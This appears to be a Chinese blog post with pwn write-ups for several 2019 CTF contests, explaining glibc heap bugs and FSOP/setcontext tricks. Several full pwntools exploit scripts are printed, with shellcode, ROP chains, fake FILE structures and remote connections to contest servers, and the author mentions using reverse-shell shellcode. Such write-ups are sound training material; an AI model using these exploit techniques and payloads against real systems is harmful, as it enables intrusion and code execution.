RoarCTF/巅峰极客挑战赛线上/UNCTF/上海市大学生网络安全大赛/湖湘杯复赛/红帽杯 部分pwn write up
前言
最近越来越懒了,想想还是得整理一下最近做过的题
RoarCTF
easy_heap
scanf可以触发合并得到ub,一开始以为只能Add16次,后来发现不是的,0的时候if的确进不去,但是仍会-1导致之后可以继续Add,同理free也不限制次数,存在double free和UAF,没有开PIE,改掉0x602090可以Show,通过unlin泄露地址最后覆盖realloc和malloc_hook拿shell
1 | #coding=utf-8 |
realloc_magic
和今年的Tokyo Westen比赛的realloc基本一模一样,利用realloc的合并性质,让一个chunk释放7次进入ub,同时它也在tcache里,在它前面搞一个chunk,realloc的时候会把这个ub给合并进去,最终达到overlapping的效果
1 | #coding=utf-8 |
巅峰极客挑战赛
snoet
house of orange拿到ub,泄露Libc,fastbin attack拿到shell
1 | #coding=utf-8 |
pwn2
这道题是最近做过的最有价值的几道之一了,其中预期解的解法还没有复现,暂时先记下来。
程序逻辑
可以Add 0x10个块,限制Add的chunk地址范围在[heap_base,heap_base+0x600]之间,chunk_list是map出来的随机地址
1 | int Add() |
Delete里有UAF
1 | int Delete() |
有输出函数
1 | __int64 Show() |
可惜Edit是读取的随机字符
1 | int Change() |
漏洞利用
程序有沙箱,不能Get shell,第一种解法是学习n132师傅的做法,先泄露libc和heap,注意随机数的stream放在heap_base里,我们分配到这个地方,即可修改一个FILE结构体,把它的_chain修改到我们伪造的文件结构体,最终使得在exit或者return的时候调用到set_context+53,这个东西是这样的,只要控制rdi存的地址和之后[rdi+0xa8]的内容即可,注意[rdi+0xa8](被弹到rcx的那个地址)对应的是rip,也就是我们执行完setcontext后执行的地址,而rsp是我们执行完rip之后要执行的值
1 | 0x7ffff7a7a565 <setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0] |
另一种解法(预期解)前面是相似的,分配到随机的那个file里,之后出题人选择把fileno改成0,这样就可以从stdin里edit了,之后参考另一个大佬的博客(https://q1iq.github.io/2019/10/28/%E5%B7%85%E5%B3%B0%E6%9E%81%E5%AE%A2-ichunqiu-wp/)
1.泄露libc和heap base
- 构造overlap改top的size,利用house_of_force在堆基地址分配块,改stream的内容
- 改stream的fileno为0即stdin,可以正常输入,这样就可以修正top chunk的size,否则后面的malloc函数和free函数都不能使用。
- 改stream的vtable->__xsgetn为fopen,恰当构造“./flag”和“r”字符串,可以在change的时候fopen(“./flag”,”r”)。
- 将stream的vtable的内容改回正常的值(只需将vtable->xsgetn 和 vtable->read改为正常值即可)
- change随便一个块,因为此时stream的fileno为fopen(“./flag”,”r”)得到的文件描述符,所以flag的值会被写入该块,随后show该块即可得到flag
exp.py
自己没有实践第二种方法,贴一下第一种解法1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./pwn3')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
p = process('./pwn3')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote('a139cb3d.gamectf.com',15189)
libc = ELF("./libc.so.6")
def Add(idx,size,content):
p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil("input your index:")
p.sendline(str(idx))
p.recvuntil("input your size:")
p.sendline(str(size))
p.recvuntil("input your context:")
p.send(content)
def Show(idx):
p.recvuntil('Choice:')
p.sendline('3')
p.recvuntil("input your index:")
p.sendline(str(idx))
def Delete(idx):
p.recvuntil('Choice:')
p.sendline('2')
p.recvuntil("input your index:")
p.sendline(str(idx))
def Edit(size):
p.recvuntil('Choice:')
p.sendline('4')
p.recvuntil("input your index:")
p.sendline(str(idx))
def Exit():
p.recvuntil('Choice:')
p.sendline('5')
def exp():
#leak libc
Add(0,0x88,'\n')
Add(1,0x88,'\n')
Add(2,0x88,'\n')
Add(3,0x88,p64(0x21)*0x10+'\n')
Delete(0)
Show(0)
p.recvuntil("note[0]: ")
libc_base = u64(p.recvline().strip("\n").ljust(8,'\x00')) - 88 - (libc.sym['__malloc_hook']+0x10)
log.success("libc base => " + hex(libc_base))
#leak heap
Delete(2)
Add(4,0x228,p64(0x221)*40+'\n')#4
Show(2)
p.recvuntil("note[2]: ")
heap_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - 0x230
log.success("heap base => " + hex(heap_base))
libc.address = libc_base
#
#small bins FIFO
Add(5,0x88,'\n')#ini 0
Add(6,0x88,'\n')#ini 2
#make overlapping chunk
Delete(1)
Delete(6)#delete init 0&1
#got 0x90*2 = 0x120 chunk
Add(7,0x120-8,'\x00'*0x80+p64(0)+p64(0xa1)+'\x00'*0x50+p64(0)+p64(0x21)+p64(0x21)*4+'\n')
Delete(7)#free chunk0 & 1
Delete(6)#free chunk 1
#use chunk0_1 the chunk 1
Add(8,0x120-8,'\x00'*0x80+p64(0)+p64(0xa1)+p64(0)+p64(libc_base+0x7ffff7dd37f8-0x7ffff7a0d000-0x10)+'\n')
#change global max_fast
Add(9,0x98,'\n')#chunk1 overlap with chunk2
#recover
Delete(8)#ini chunk0_1
#
Add(10,0x120-8,'\x00'*0x80+p64(0)+p64(0x231)+'\n')
Delete(6)#ini 1
Delete(10)#ini chunk0_1
#fastbin attack
Add(11,0x120-8,'\x00'*0x80+p64(0)+p64(0x231)+p64(heap_base)+'\n')
Add(12,0x230-8,'\n')
# some gadgets
fio=heap_base+0x80
rdi=0x0000000000021102+libc_base
rsi=0x00000000000202e8+libc_base
rdx=0x0000000000001b92+libc_base
syscall=0x00000000000bc375+libc_base
rax=0x0000000000033544+libc_base
add_rsp_100_ret = 0x8e73e+libc_base
set_context_addr = 0x47b75+libc_base
xor_rax_ret = 0x000000000008b8c5+libc_base
#fake file
fake = "/bin/sh\x00"+p64(0x61)+p64(libc.sym['system'])+p64(libc.sym['_IO_list_all']-0x10)+p64(0)+p64(1)
fake = fake.ljust(0x68,'\x00')+p64(heap_base+0x10)+p64(0)
fake = fake.ljust(0x88,'\x00')+p64(0xff)
fake = fake.ljust(0xa0,'\x00')+p64(fio+0x8)+p64(add_rsp_100_ret)
fake = fake.ljust(0xc0,'\x00')+p64(1)
fake = fake.ljust(0xd8,'\x00')+p64(fio+0xd8-0x10)+p64(set_context_addr)+p64(0xdeadbeed)
pay = [rax,2,syscall,xor_rax_ret,rdi,4,rsi,heap_base+0x200,syscall,rax,1,rdi,1,syscall]
rop =flat(pay)
fake = fake.ljust(0x108,'\x00')+rop
Add(13,0x230-8,"./flag".ljust(8,'\x00')+'\x00'*0x60+p64(heap_base+0x80)+fake+'\n')
gdb.attach(p)
Exit()
p.interactive()
exp()
UNCTF2019
orw_heap
这道题是做完巅峰极客开始做的,跟那个非常像,也开了沙箱,只能orw,我的做法和之前的那题很像,最后FSOP劫持到setcontext+53,远程后面读不出来,sc我就改成了反弹shell,最后远程还是没读到flag,迷惑max,第二种解法是Ex师傅博客里的先泄露libc,再用ub踩出size到free_hook附近,从而可以劫持free_hook进行SROP最后ROP读flag。[http://blog.eonew.cn/archives/1243]
exp.py
1 | #coding=utf-8 |
上海市大学生网络安全大赛
boring_heap
劫持到main_arena改top_chunk到malloc_hook附近最后get shell
1 | #coding=utf-8 |
login
Delete里有UAF,构造chunk和Node重叠,释放一个ub,覆盖8+6字节爆破高位,之后是次高位…最终爆破得到libc地址,在修改func指针为one_gadget
1 | #coding=utf-8 |
silent_note
只能calloc 0x28或者0x208,删除里有double free,构造Overlapping chunk,unlin再编辑即可
1 | #coding=utf-8 |
湖湘杯复赛
hacknote
静态编译,第一种解法找到malloc_hook和free_hook,Edit里的strlen会导致溢出,构造Overlapping chunk之后fastbin attack到malloc_hook(0x42的fake chunk size),写shellcode并把malloc_hook改成sc地址,第二种是largebin attack改bk和Bk_nextsize到malloc_hook,使得mallok_hook里写ub的地址,ub里写sc即可
第一种:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 0
elf = ELF('./HackNote')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./HackNote')
else:
p = remote('183.129.189.62',13504)
def Add(size,note):
p.recvuntil('-----------------\n')
p.sendline('1')
p.recvuntil("Input the Size:\n")
p.sendline(str(size))
p.recvuntil("Input the Note:\n")
p.send(note)
def Delete(index):
p.recvuntil('-----------------\n')
p.sendline('2')
p.recvuntil("Input the Index of Note:\n")
p.sendline(str(index))
def Edit(index,note):
p.recvuntil('-----------------\n')
p.sendline('3')
p.recvuntil("Input the Index of Note:\n")
p.sendline(str(index))
p.recvuntil("Input the Note:\n")
p.send(note)
def exp():
#leak libc
free_hook = 0x6cd5e8
malloc_hook = 0x6cb788
#
fake_chunk = 0x6cb772
Add(0x88,'0'*8+'\n')
Add(0xf8,'1'*8+'\n')
Add(0x38,'2'*8+'\n')
Add(0x38,'3'*8+'\n')
Edit(0,'0'*0x88)
Edit(0,'0'*0x80+'a'*8+p64(0x100+0x40+1)[:2])
Delete(2)
Delete(1)
Add(0x100+0x30,'1'*0xf0+'a'*8+p64(0x41)+p64(fake_chunk)+'\n')
Add(0x38,p64(fake_chunk)+'\n')
sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
Add(0x38,'3'*6+p64(malloc_hook+8)+sc+'\n')
#gdb.attach(p)
p.recvuntil('-----------------\n')
p.sendline('1')
p.recvuntil("Input the Size:\n")
p.sendline(str(30))
p.interactive()
exp()
第二种:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./HackNote')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process('./HackNote')
else:
p = remote('183.129.189.62',13504)
def Add(size,note):
p.recvuntil('-----------------\n')
p.sendline('1')
p.recvuntil("Input the Size:\n")
p.sendline(str(size))
p.recvuntil("Input the Note:\n")
p.send(note)
def Delete(index):
p.recvuntil('-----------------\n')
p.sendline('2')
p.recvuntil("Input the Index of Note:\n")
p.sendline(str(index))
def Edit(index,note):
p.recvuntil('-----------------\n')
p.sendline('3')
p.recvuntil("Input the Index of Note:\n")
p.sendline(str(index))
p.recvuntil("Input the Note:\n")
p.send(note)
def exp():
#leak libc
free_hook = 0x6cd5e8
malloc_hook = 0x6cb788
#
Add(0x318,'0'*8+'\n')#0
Add(0xf8,'1'*8+'\n')#1
Add(0x438,'2'*8+'\n')#2
Add(0x88,'3'*8+'\n')#3
Add(0xf8,'4'*8+'\n')#4
Add(0x448,'5'*8+'\n')#5
Add(0x68,'6'*8+'\n')#6
#overlapping
Edit(0,'0'*0x318)
Edit(0,'0'*0x310+p64(0)+'\x41\x05')
Delete(1)
Add(0x530,'1'*8+'\n')#1 == chunk1 + chunk2
#
Edit(3,'3'*0x88)
Edit(3,'3'*0x80+p64(0)+'\x51\x05')
Delete(4)
Add(0x540,'4'*8+'\n')#4 == chunk4 + chunk5
Delete(0)
Delete(2)
Add(0x30,'0'*8+'\n')#0
Delete(5)
Edit(1,'1'*0xf0+p64(0)+p64(0x441)+p64(0)+p64(malloc_hook-0x10)+p64(0)+p64(malloc_hook)+'\n')
Add(0x30,'2'*8+'\n')#2
Edit(4,'4'*0xf0+asm(shellcraft.sh())+'\n')
gdb.attach(p)
p.recvuntil('-----------------\n')
p.sendline('1')
p.recvuntil("Input the Size:\n")
p.sendline(str(0x30))
p.interactive()
exp()
Namesystem
没开PIE,got表可写,删除时候从后往前写,chunk_list满的时候会造成重合chunk,最后fastbin attack三次,分别将chunk_list[0]改成puts@got,free@got到puts@plt,泄露出地址再改free到system即可
1 | #coding=utf-8 |
红帽杯
Three
允许写三字节sc,跳到我们的输入地址栈迁移getshell
1 | #coding=utf-8 |
万花筒
前言
一道llvm题目,赛后看了陆晨学长给的wp,是llvmcookbook的示例改的,toy语言,看Kaleidoscope这个名字应该就可以找到教程,gettok里定义了一些标识符,在划分语元的时候使用,这里有def、extern、if等。
我们定义一个与库函数名相同函数体为空的函数,第一次调用会报错Error: Unknown unary operator
,之后可以成功调用到该库函数,学长给的wp通过泄露libc执行syetm(binsh_addr),预期解是mmap一块区域,读入”/bin/sh”,之后system(map_addr)
exp.py
1 | from pwn import * |